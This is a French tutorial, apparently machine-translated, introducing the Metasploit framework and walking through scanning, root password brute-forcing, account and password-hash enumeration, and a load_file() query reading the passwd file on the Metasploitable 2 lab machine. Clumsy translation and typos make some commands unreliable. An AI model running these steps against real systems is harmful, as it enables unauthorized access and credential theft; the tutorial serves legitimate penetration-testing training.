Kali Linux est pré-équipé de tous les outils nécessaires aux tests d’intrusion. L’un de ces outils est le framework Metasploit qui permet aux équipes rouges d’effectuer une reconnaissance, une analyse, une énumération et une exploitation des vulnérabilités pour tous les types d’applications, de réseaux, de serveurs, de systèmes d’exploitation et de plates-formes.
Même si la fonctionnalité principale de Metasploit se concentre sur les tâches de test d’intrusion avant et après l’exploitation, elle est également utile dans le développement d’exploits et la recherche de vulnérabilités.
Cet article présente les principaux composants du framework Metasploit. Il montre comment utiliser les modules Metasploit pour l’analyse, l’énumération et l’exploitation d’une base de données MySQL vulnérable hébergée sur une machine connue sous le nom de Metasploitable 2.
Metasploit est l’outil de pentesting le plus couramment utilisé qui est préinstallé dans Kali Linux. Les principaux composants de Metasploit sont msfconsole et les modules qu’il propose.
Qu’est-ce que msfconsole ?
msfconsole est l’interface tout-en-un de type shell la plus couramment utilisée qui vous permet d’accéder à toutes les fonctionnalités de Metasploit. Il prend en charge la ligne de commande de type Linux car il offre l’auto-complétion des commandes, la tabulation et d’autres raccourcis bash.
C’est l’interface principale qui vous permettra de travailler avec les modules Metasploit pour analyser et lancer une attaque sur la machine cible.
Modules Metasploit
Metasploit a de petits extraits de code qui activent sa fonctionnalité principale. Cependant, avant d’expliquer les modules, vous devez être clair sur les concepts récurrents suivants :
- Vulnérabilité: Il s’agit d’une faille dans la conception ou le code de la cible qui la rend vulnérable à une exploitation conduisant à la divulgation d’informations confidentielles.
- Exploit: Un code qui exploite la vulnérabilité trouvée.
- Charge utile: C’est un code qui vous aide à atteindre l’objectif d’exploiter une vulnérabilité. Il s’exécute à l’intérieur du système cible pour accéder aux données cibles, comme le maintien de l’accès via Meterpreter ou un shell inversé.
Passons maintenant aux cinq modules principaux de Metasploit :
- Auxiliaire: Le module auxiliaire contient un ensemble de programmes tels que des fuzzers, des scanners et des outils d’injection SQL pour collecter des informations et approfondir la compréhension du système cible.
- Encodeurs: Les encodeurs chiffrent les charges utiles/exploits pour les protéger contre les solutions antivirus basées sur les signatures. Comme les charges utiles ou les exploits contiennent des caractères nuls ou incorrects, il y a de fortes chances qu’ils soient détectés par une solution antivirus.
- Exploit: Comme indiqué précédemment, un exploit est un code qui exploite les vulnérabilités ciblées pour garantir l’accès au système via des charges utiles.
- Charge utile: Comme mentionné précédemment, les charges utiles vous aident à atteindre l’objectif souhaité d’attaquer le système cible. Cela signifie qu’ils vous aideront soit à obtenir un shell interactif, soit à maintenir une porte dérobée, à exécuter une commande ou à charger des logiciels malveillants, etc. Metasploit propose deux types de charges utiles : les charges utiles sans étape et les charges utiles étagées.
- Poster: Le module de post-exploitation vous aidera à recueillir plus d’informations sur le système. Par exemple, il peut vous aider à vider les hachages de mot de passe et à rechercher les informations d’identification de l’utilisateur pour un déplacement latéral ou une élévation des privilèges.
Vous pouvez utiliser les commandes suivantes pour afficher chaque module et ses catégories :
cd /usr/share/metasploit-framework/modules
ls
tree -L 1 module-name/
Pour commencer à utiliser l’interface Metasploit, ouvrez le terminal Kali Linux et tapez msfconsole.
Par défaut, msfconsole s’ouvre avec une bannière ; pour supprimer cela et démarrer l’interface en mode silencieux, utilisez le msfconsole commande avec le -q drapeau.
L’interface ressemble à un shell de ligne de commande Linux. Certaines commandes Linux Bash prises en charge sont ls, clear, grep, history, jobs, kill, cd, exit, etc.
Taper aider ou un point d’interrogation « ? » pour voir la liste de toutes les commandes disponibles que vous pouvez utiliser dans msfconsole. Certaines des plus importantes que nous utiliserons dans cet article sont :
Commander | La description |
---|---|
chercher | Vous permet de rechercher dans la base de données Metasploit en fonction du protocole/application/paramètre donné |
utiliser | Vous permet de choisir un module particulier et de modifier le contexte en commandes spécifiques au module |
Info | Fournit des informations sur le module sélectionné |
Afficher | Affiche des informations sur le nom du module donné et les options du module actuel |
Chèque | Vérifie si le système cible présente une vulnérabilité |
ensemble | C’est une variable spécifique au contexte qui configure les options pour le module actuel |
non défini | Supprime les paramètres précédemment définis |
Cours | Exécute le module courant |
Avant de commencer, configurez la base de données Metasploit en démarrant le serveur PostgreSQL et initialisez la base de données msfconsole comme suit :
systemctl start postgresql
msfdb init
Vérifiez maintenant l’état de la base de données en initialisant msfconsole et en exécutant le db_status commander.
À des fins de démonstration, configurez la machine Linux vulnérable open source Metasploitable2.
Reconnaissance MySQL avec msfconsole
Trouvez d’abord l’adresse IP de la machine Metasploitable. Ensuite, utilisez le db_nmap commande dans msfconsole avec des drapeaux Nmap pour analyser la base de données MySQL à 3306 Port.
db_nmap -sV -sC -p 3306 <metasploitable_ip_address>
Vous pouvez exécuter le régulier nmap -p-
Utilisez le chercher option pour rechercher un module auxiliaire pour analyser et énumérer la base de données MySQL.
search type:auxiliary mysql
Dans la liste ci-dessus, vous pouvez utiliser le auxiliaire/scanner/mysql/mysql_version module en saisissant le nom du module ou le numéro associé pour analyser les détails de la version de MySQL.
use 11
Ou:
use auxiliary/scanner/mysql/mysql_version
Utilisez maintenant le afficher les options commande pour afficher les paramètres nécessaires à l’exécution du module en cours :
La sortie affiche que la seule option requise et non définie est RHOSTS qui est l’adresse IP de la machine cible. Utilisez le définir les rhosts pour définir le paramètre et exécuter le module, comme suit :
La sortie affiche les détails de la version de MySQL similaires en tant que db_nmap une fonction.
Compte racine Bruteforce MySQL avec msfconsole
Après l’analyse, vous pouvez également forcer brutalement le compte root MySQL via Metasploit auxiliaire(scanner/mysql/mysql_login) module.
Vous devrez définir le PASS_FILE paramètre au chemin de la liste de mots disponible à l’intérieur /usr/share/listes de mots:
set PASS_FILE /usr/share/wordlistss/rockyou.txt
Ensuite, spécifiez l’adresse IP de la machine cible avec la commande RHOSTS.
set RHOSTS <metasploitable-ip-address>
Ensemble BLANK_PASSWORDS à true si aucun mot de passe n’est défini pour le compte root.
set BLANK_PASSWORDS true
Enfin, exécutez le module en tapant Cours dans l’aérogare.
Énumération MySQL avec msfconsole
msfconsole vous permet également d’énumérer la base de données à l’aide du auxiliaire (admin/mysql/mysql_enum) module. Il renvoie tous les comptes avec des détails tels que les privilèges associés et les hachages de mot de passe.
Pour ce faire, vous devrez spécifier le mot de passe, le nom d’utilisateur et la variable rhosts.
set password ""
set username root
set rhosts <metasploitable-ip-address>
Enfin, lancez le module en tapant :
run
Exploitation MySQL avec msfconsole
Dès la phase d’énumération, il est clair que le compte root a des privilèges de fichier qui permettent à un attaquant d’exécuter le fichier de chargement() une fonction. La fonction permet d’exploiter la base de données MySQL en chargeant toutes les données du fichier /etc/password via le auxiliaire(/admin/mysql/mysql_sql) module:
Encore une fois, définissez le nom d’utilisateur, le mot de passe et la variable rhosts. Ensuite, exécutez une requête qui invoque la fonction load_file() et charge le /etc/passwd déposer.
set sql select load_file("/etc/password")
Les modules Metasploit aident dans toutes les phases des tests d’intrusion. Metasploit permet également aux utilisateurs de créer leurs propres modules.
Cet article résume certains modules principaux du framework Metasploit et montre comment analyser, énumérer et exploiter une base de données MySQL sur la machine Metasploitable 2.
Metasploit n’est pas le seul outil de test d’intrusion que vous utiliserez en tant que professionnel de la cybersécurité. Il existe plusieurs autres utilitaires avec lesquels vous devrez vous familiariser si vous souhaitez devenir un expert en sécurité.
Lire la suite
A propos de l’auteur